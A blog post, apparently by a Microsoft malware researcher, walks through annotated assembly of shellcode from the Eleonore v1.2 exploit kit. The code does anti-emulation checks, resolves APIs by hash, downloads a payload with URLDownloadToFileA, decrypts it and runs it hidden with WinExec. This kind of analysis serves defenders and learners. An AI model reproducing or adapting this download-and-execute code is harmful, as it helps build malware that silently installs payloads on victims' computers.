The shellcode described in this post was obtained from the Eleonore v1.2 exploit kit. High-level details about that kit are mentioned in my April 2012 blog post.
This post is a technical view of the actual shellcode and is intended to be instructive to the inquisitive reader. Since this code is relatively old, the main techniques (hashing API lookups, rol decryption, kernel32 address lookup) have been discussed before.
There are some other less-discussed bits of shellcode analysis, such as the anti-emulation code in the first segment below, that when viewed collectively with other shellcode analysis, may assist the reader in better understanding shellcode. So let’s get into it.
Start: | ||
mov eax, fs:18h; | // Get the Thread Information Block (TIB) | |
mov eax, [eax + 30h]; | // Get the Process Environment Block (PEB) | |
mov eax, [eax + 54h]; | // Get ReadOnlyStaticServer Data pointer | |
mov eax, [eax + 4]; | // Get Client Server Runtime Subsystem (CSRS) Object Port Name structure | |
mov eax, [eax + 4]; | // Get the Object Directory of the CSRS port (kernel32 sets this to “C:\Windows” for sessionID of 0) | |
mov eax, [eax + 4]; | // Get the 3rd and 4th characters of the Object Directory unicode string | |
or eax, 200020h; | // Normalize these two characters to lower case | |
cmp eax, 77007Ch; | // This checks that the Object Directory is “C:\Windows” by checking the two characters ‘\’ and ‘W’. | |
// This ensures outer program this shellcode is running in, is a Win32 app connected to the windows | ||
// subsystem process (CSRSS) with a system or console sessionID, else return. | ||
jz DetectPlatform; | ||
retn | ||
// pretty old standard method of retrieving kernel32.dll, to access GetProcAddr and LoadLibrary | ||
// thereby accessing any functionality needed by shellcode | ||
DetectPlatform: | ||
xor eax, eax; | ||
mov eax, fs:[eax + 30h]; | // Get the PEB | |
js Win9xPlatform; | // Jump if signed (9x systems PEB mapped above 0x80000000, NT mapped at 0x7FFDF000 roughly) | |
NTPlatform: | ||
mov eax, [eax + 0Ch]; | // For NT, get PEB.Ldr (loaded module list struct) | |
mov esi, [eax + 1Ch]; | // Get PEB_LDR_DATA.InInitializationOrderModuleList.Flink | |
lodsd; | // Load from string from esi ptr to eax, loading second Flink entry | |
mov ebx, [eax + 8]; | // Get base address of kernel32.dll (prior to Windows 7) | |
jmp StackSetup; | ||
Win9xPlatform: | ||
mov eax, [eax + 34h]; | ||
lea eax, [eax + 7Ch]; | ||
mov ebx, [eax + 3Ch]; | // Get base addr of kernel32.dll | |
StackSetup: | ||
push 4Eh; | ||
pop edx; | ||
shl edx, 1; | // 0x4E becomes 0x9C after shift | |
sub esp, edx; | // increase stack by 0x9C | |
mov ebp, esp; | // Move stack frame for shellcode space | |
mov [ebp + 10h], ‘xe.n’; | ||
mov [ebp + 14h], 1FFh; | // Size of shellcode | |
mov [ebp], 0; | // Iteration 0 | |
jmp DownloadMalware; | ||
DownloadMalware: | ||
lea edi, [ebp + 1Ch]; | // Load address from newly creates stack space | |
push edi; | // lpBuffer | |
push edx; | // nBufferLength (this = 0x9C, size of string to hold temp dir, c:\temp) | |
mov eax, 5B8ACA33h; | // HASH of GetTempPathA | |
call FindFuncHash; | // This routine as discussed in previous blog is an spatially efficient way to look up API by its hash value | |
xor al, al; | // Zero out for scan function | |
mov esi, edi; | ||
repne scasb; | // Repeat while not equal, scans string for 0 (get length of temp dir path) | |
dec edi; | ||
mov eax, [ebp + 10h]; | // Store “xe.n” from above or later “xe.y” | |
stosd; | // Put xe.n at the end of the string rom edi, C:\TEMP | |
cbw; | // Convert byte to word, so ax now = “nn” or “yy” later | |
stosw; | // Put “nn” to “n.ex” or later “yy” to y.exe to yield nnn.ex, yyy.ex | |
xor eax, eax; | ||
mov eax, ‘da’; | ||
push eax; | ||
push ‘erhT’; | ||
xor eax, 74691C24h; | // 0x74697845 = “tixE” (Constructing ExitThread) | |
push eax; | // lpProcName = “Exit” | |
push esp; | // lpProcName = “Thread” (continued) | |
push ebx; | // Base address of kernel32.dll | |
mov eax, 7C0DFCAAh; | // HASH of GetProcAddress | |
call [ebp + 18h]; | // This calls the FindFuncHash routine and then executes GetProcAddress with arguement of ExitThread routine | |
add esp, 0Ch; | // Increase stack temporarily | |
push eax; | // Save absolute address of ExitThread routine | |
mov al, ‘l’; | ||
mov ah, al; | // “ll” | |
cwde; | // Convert word to double extended | |
push eax; | ||
push ‘d.no’; | ||
push ‘mlru’; | ||
push esp; | // lpFileName = “urlmon.dll” | |
mov eax, 0EC0E4E8h; | // HASH of LoadLibraryA routine | |
call [ebp + 18h]; | // Execute LoadLibraryA routine with urlmon.dll | |
add esp, 0Ch; | // decrease stack | |
xchg eax, ebx; | // ebx now holds handle to loaded URLmon module | |
push eax; | ||
xor eax, eax; | ||
push eax; | // lpBinStatusCallBack = NULL | |
push eax; | // dwReserved = 0 | |
push esi; | // szFileName = “C:\TEMP\(nnn.ex|yyy.ex)” | |
mov edx, [ebp + 18h]; | ||
add edx, [ebp + 14h]; | // Add the 0x1ff shellcode size to the 0x67 offset for a relative addr of 0x266 | |
push edx; | // szURL = string at 0x266 (the actual URL is appended to shellcode when it is put into play, not included in analysis) | |
push eax; | // pCaller = NULL | |
mov eax, 702F1A36h; | // HASH of URLDownloadToFileA routine | |
call [ebp + 18h]; | // Execute URLDownloadToFileA routine on a specific URL to download data and store into the (nnn.ex|yyy.ex) files | |
pop ebx; | ||
cmp [ebp], 1; | // 2nd iteration do we decrypt downloaded malware file | |
jnz ExecuteMalware; | ||
DecryptedMalware: | ||
push 0; | // hTemplateFile = NULL | |
push 80h; | // dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL | |
push 3; | // dwCreationDisposition = OPEN_EXISTING | |
push 0; | // lpSecurityAttributes = NULL | |
push 3; | // dwShareMode = READ | WRITE | |
push 0C0000000h; | // dwDesiredAccess = GENERIC_ALL | |
push esi; | // lpFileName = C:\TEMP\yyy.ex | |
mov eax, 7C0017A5h; | // HASH of CreateFile routine | |
call [ebp + 18h]; | // Execute the CreateFile routine with the above arguments | |
mov [ebp + 4], eax; | // Handle to the file that downloaded malware | |
push 4; | // flProtect = PAGE_READWRITE | |
push 1000h; | // flAllocationType = MEM_COMMIT | |
push 80000h; | // dwSize = 0x80000 | |
push 0; | // lpAddress = NULL | |
mov eax, 91AFCA54h; | // HASH of VirtualAlloc routine | |
call [ebp + 18h]; | // Execute VirtualAlloc routine with above arguments to create 0x80000 space for downloaded malware to be decrypted into | |
mov [ebp + 0Ch], eax; | // Base address of the allocated region | |
push eax; | // Save this address | |
push 0; | // lpOverlapped = NULL | |
lea ecx, [ebp + 4]; | ||
push ecx; | // lpNumberOfBytesRead = dword in shellcode stack space | |
push 80000h; | // nNumberOfBytesToRead = 0x80000 | |
push eax; | // lpBuffer = base addr of virtually allocated region | |
push [ebp + 4]; | // hFile = C:\TEMP\yyy.ex | |
mov eax, 10FA6516h; | // HASH of ReadFile routine | |
call [ebp + 18h]; | // Execute ReadFile routine and get contents for file and put into virutally allocated memory region | |
pop edi; | // File handle of C:\TEMP\yyy.ex | |
mov edx, [edi]; | ||
add edi, 4; | ||
mov ecx, [ebp + 8]; | // Number of bytes read from the ReadFile call | |
sub ecx, 4; | ||
call DecryptBytes; | // Routine that decrypts these malware bytes in place (see previous blog post for this routine) | |
push 0; | // dwMoveMethod = FILE_BEGIN | |
push 0; | // lpDistanceToMoveHigh = NULL | |
push 0; | // lpDistanceToMove = NULL | |
push [ebp + 4]; | // File handle of C:\TEMP\yyy.ex | |
mov eax, 76DA08ACh; | // HASH of SetFilePointer routine | |
call [ebp + 18h]; | // Execute SetFilePointer routine on file to ensure pointer is at the begining of file | |
push 0; | // lpOverlapped = NULL | |
lea ecx, [ebp + 8]; | ||
push ecx; | // lpNumberOfBytesWritten = dword in shellcode stack space | |
push [ebp + 8]; | // nNumberOfBytesToWrite = num bytes from ReadFile call | |
push [ebp + 0Ch]; | // lpBuffer = pointer to the new decrypted bytes in the virtual allocated memory space | |
add [esp + 10h], 4; | ||
push [ebp + 4]; | // hFile = handle to C:\TEMP\yyy.ex | |
mov eax, 0E80A791Fh; | // HASH of WriteFile routine | |
call [ebp + 18h]; | // Execute WriteFile routine on above arguments so we write decrypted bytes back to file | |
push [ebp + 4]; | // hFile = handle to C:\TEMP\yyy.ex | |
mov eax, 0FFD97FBh; | // HASH of CloseHandle routine | |
call [ebp + 18h]; | // Execute CloseHandle routine on C:\TEMP\yyy.ex | |
mov [ebp], 2; | ||
ExecuteMalware: | ||
push edi; | // uCmdShow = SW_HIDE | |
push esi; | // lpCmdLine = “C:\TEMP\(nnn.ex|yyy.ex)” | |
mov eax, 0E8AFE98h; | // HASH of WinExec routine | |
call [ebp + 18h]; | // Execute WinExec on file, so execute malware | |
jmp loc_FFF; | ||
HanaHou: | ||
cmp [ebp], 2; | // This is the second iteration and we exit shellcode here | |
jz FINI; | ||
mov [ebp], 1; | ||
mov [ebp + 10h], ‘xe.y’; | // next file name to use | |
mov [ebp + 14h], 172h; | ||
mov edi, [ebp + 18h]; | ||
add edi, [ebp + 14h]; | // Relative addr 0x1D9 (0x172 + 0x67) | |
mov ecx, 26h; | // 0x26 bytes to decrypt | |
mov edx, [edi – 4]; | // Start of encrypted buffer to decrypt | |
call DecryptBytes; | ||
jmp DownloadMalware; | ||
FINI: |
Thanks for reading.
— Nik Livic, MMPC
Leave a reply